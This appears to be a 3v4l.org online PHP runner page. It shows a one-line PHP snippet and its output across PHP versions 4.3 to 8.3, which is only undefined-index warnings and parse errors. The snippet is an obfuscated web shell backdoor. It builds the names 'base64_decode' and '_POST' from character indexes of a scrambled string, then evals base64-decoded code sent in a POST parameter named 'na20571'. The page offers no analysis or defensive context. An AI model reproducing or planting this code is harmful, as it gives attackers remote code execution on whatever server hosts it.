3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['na20571'];if(isset($s22)){eval($s21($s22));}?><?php
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
Warning: Undefined array key "na20571" in /in/RpUfs on line 1
Output for 7.4.0 - 7.4.33
Notice: Undefined index: na20571 in /in/RpUfs on line 1
Output for 5.4.0 - 5.4.45, 7.3.32 - 7.3.33
Parse error: syntax error, unexpected end of file in /in/RpUfs on line 1
Process exited with code 255.
Output for 5.3.0 - 5.3.29, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31
Notice: Undefined index: na20571 in /in/RpUfs on line 1 <?php
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: Undefined index: na20571 in /in/RpUfs on line 1 <?php
preferences:
330.63 ms | 402 KiB | 460 Q